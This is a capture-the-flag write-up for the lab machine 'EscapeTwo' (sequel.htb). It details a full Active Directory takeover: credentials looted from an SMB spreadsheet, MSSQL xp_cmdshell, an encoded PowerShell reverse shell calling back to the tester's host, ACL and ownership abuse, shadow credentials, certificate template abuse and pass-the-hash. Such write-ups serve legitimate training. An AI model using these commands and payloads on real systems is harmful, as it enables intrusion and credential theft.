
EscapeTwo
Summary
This Active Directory based machine exposes a samba share, which can access with the given credentials. In one of the shares, we can find a spreadsheet with other accounts, one of which we can use to log into the MSSQL service with high privileges. Using this account, we can use xp_cmdshell
to gain a foothold into the system. Looking through the files of the same service, we can find a clear text password, which we can reuse to remotely log into the machine via a regular user account.
By enumerating the AD domain controller with Bloodhound, we discover several interesting relations. We use the compromised user’s ability to override the ownership of another account, which can is allowed to manipulate permission domain certificates of the domain controller. By granting us elevated access, we can request credentials of the Administrator
and use those, to log into the system.
Solution
Reconnaissance
Nmap reveals several open ports:
nmap -sC -sV 10.10.11.51 -Pn -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-11 11:08 CET
Nmap scan report for 10.10.11.51
Host is up (0.053s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-11 10:08:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-10T14:34:30
|_Not valid after: 2055-02-10T14:34:30
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-02-11T10:09:13
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.76 seconds
Many of these ports already imply, that this machine is part of an Active Directory. This machine comes with a user account we can use: rose:KxEPkKe6R8su
. However, this account is restricted as we can’t get a shell on the system via Evil-WinRM.
The network scan also discovered the domain of this machine, and of the Domain Controller. Let’s add both to our host file: 10.10.11.51 sequel.htb DC01.sequel.htb
The web service on port 5985 seems to be empty. DNS and directory enumeration doesn’t yield any interesting domains or resources for us to look at. Instead, let’s take a look at the open samba shares with our credentials using SMBclient.
smbclient -L //sequel.htb/ -U rose
Password for [WORKGROUP\rose]:
Sharename Type Comment
--------- ---- -------
Accounting Department Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to sequel.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
There are two shares we can access: Users
and Accounting Department
. If we log into the User
share, we have access to a desktop, likely the one of the logged-in user. However, there are no useful files for us. In contrast, the Accounting Department
share contains two .xlsx
files we can download.
smbclient //sequel.htb/Accounting\ Department -U rose
Password for [WORKGROUP\rose]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jun 9 12:52:21 2024
.. D 0 Sun Jun 9 12:52:21 2024
accounting_2024.xlsx A 10217 Sun Jun 9 12:14:49 2024
accounts.xlsx A 6780 Sun Jun 9 12:52:07 2024
6367231 blocks of size 4096. 900192 blocks available
smb: \> get accounts.xlsx
getting file \accounts.xlsx of size 6780 as accounts.xlsx (25.8 KiloBytes/sec) (average 25.8 KiloBytes/sec)
smb: \> get accounting_2024.xlsx
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (42.5 KiloBytes/sec) (average 33.7 KiloBytes/sec)
smb: \> exit
User Flag
I can’t manage two open either of these files in their original format, as they seem to be damaged. But that does not matter, since .xlsx
is just a fancy wrapped for XML, so let’s unpack the archive and dig into the worksheets. Since a raw and unfactored XML file is hard to read, we can load this file into VS Code, and refactor the file with any XML plugin for our own comfort. While accounting_2024.xlsx
is empty, accounts.xlsx
contains some accounts and their passwords in sharedStrings.xml
.
angela:0fwz7Q4mSpurIt99
oscar:86LxLBMgEWaKUnBG
kevin:Md9Wlq1E5bZnVDVo
sa:MSSQLP@ssw0rd!
Sadly, Evil-WinRM does not work for any of these accounts. Still we can try to log into the MSSQL service, which is also running. For this, the sa
account is especially interesting.
impacket-mssqlclient sa@sequel.htb
This account is allowed to enable xp_cmdshell
, which we do. Now we can run commands on the system.
SQL (sa dbo@master)> enable_xp_cmdshell
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
After trying some standard commands, we get not visual feedback to these commands. We can still confirm that our command actually work, by issuing a command that takes some time to complete, such as ping
to an unreachable destination. After confirming this, we can spawn a reverse shell. The simplest way is to craft a PowerShell based payload, which is encoded to not interfere with any syntax of the database commands.
SQL (sa dbo@master)> xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
When we start a Netcat listener and execute the payload, we get a callback, and a shell as sql_svc
.
Before we enumerate the system, let’s enumerate the users to which we might be able to pivot. The \users
directory contains a directory for ryan
, so this is likely the pivot account. Passwords we already found do not work for this account, we need to find something else.
PS C:\users> ls
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/25/2024 3:10 AM Administrator
d-r--- 6/9/2024 4:11 AM Public
d----- 2/10/2025 12:47 PM ryan
d----- 2/11/2025 3:40 AM sql_svc
When we dig into the files of the MSSQL database service we just exploited, we can find a configuration file sql-Configuration.INI
. In it, we can find the credentials for the account we already compromised, but to which we didn’t have the password SEQUEL\sql_svc:WqSZAF6CysDQbGb3
PS C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL="0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
If we now try to use this password for the account ryan
by using Evil-WinRM, we get a session and can claim the user flag on his desktop.
ed2316de35c3150a1649c194bf1ec1e8
Root Flag
One of the easiest ways to enumerate permissions in Active Directory, is the use of Bloodhound, as it maps all relations of the permission network. It can give us a clear path from our already compromised account to any other target.
To use Bloodhound, we need to start a neo4j
session, and setup the database via the web view.
sudo neo4j start
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Starting Neo4j.
Started neo4j (pid:184083). It is available at http://localhost:7474
There may be a short delay until the server is ready.
Once this is done, and we logged into Bloodhound, we need to collect information about this active directory from the domain controller, using ryan
’s credentials with Bloodhound-python.
bloodhound-python -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 -ns 10.10.11.51 -c all
This will produce a handful of .json
files, which we can load into Bloodhound via drag and drop. Now, we can let the application generate a graph of user permissions.
When we dig through the graph starting at ryan
, we can see that the user ryan
has owner permissions for sa_svc
. Bloodhound tells us, that this means we can set ryan
as the owner and grant full control of this account. We can then acquire the hash of sa_svc
and get access. Let’s start there.
Using Owneredit, we set ryan
as the owner of ca_svc
.
owneredit.py -action write -new-owner ryan -target "ca_svc" sequel.htb/ryan:WqSZAF6CysDQbGb3
[*] Current owner information below
[*] - SID: S-1-5-21-548670397-972687484-3496335370-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb
[*] OwnerSid modified successfully!
We follow this up by editing dacl
with Dacledit, giving us full control of ca_svc
.
dacledit.py -action "write" -rights "FullControl" -principal "ryan" -target "ca_svc" sequel.htb/ryan:WqSZAF6CysDQbGb3
[*] DACL backed up to dacledit-20250211-180208.bak
[*] DACL modified successfully!
Lastly, we can acquire shadow credentials and the hash for this account, with which we can use ca_svc
.
certipy-ad shadow auto -u "ryan@sequel.htb" -p "WqSZAF6CysDQbGb3" -account "ca_svc" -dc-ip 10.10.11.51
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '235be5ce-c310-f119-94b1-2e4ba84f9324'
[*] Adding Key Credential with device ID '235be5ce-c310-f119-94b1-2e4ba84f9324' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '235be5ce-c310-f119-94b1-2e4ba84f9324' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce
Bloodhound tells us, that ca_svc
is part of the Cert Publishers
group. Essentially, we can overwrite certain certificates, which contain domain permissions. This means, we can overwrite such a certificate and give us further access. We can then request the certificate of the administrator. Using this we can acquire the Kerberos hash for the administrator
account and use it for logging in.
Let’s first identify, which certificate we can overwrite. For this, we can use a utility such as:
Certify find /domain:sequel.htb`
After executing this on the remote system, it discloses the template name DunderMifflinAuthentication
, which we can manipulate. For this, we can use Tools.d/Certipy-ad with the credentials we gathered for ca_svc
.
KRB5CCNAME=/home/kali/htb/machines/escapetwo/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -dc-ip 10.10.11.51 -target dc01.sequel.htb
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'
Now we finally have permission to acquire the certificate of the Administrator
account. By supplying the substituted template and the NT hash of ca_svc
, we get the certificate and private key.
certipy-ad req -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 17
[*] Got certificate with multiple identifications
UPN: 'administrator@sequel.htb'
DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'
Using this certificate, we can authenticate to the domain controller as adminstrator
and obtain the hash for authentication to the machine.
certipy-ad auth -pfx administrator_10.pfx -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'administrator@sequel.htb'
[1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Since we adminstrator
has permission to remotely log into the system, we can use Evil-WinRM once again and gain a shell. We can then collect the root flag.
c872c15e96018d93b0f4e0cf4eb2a151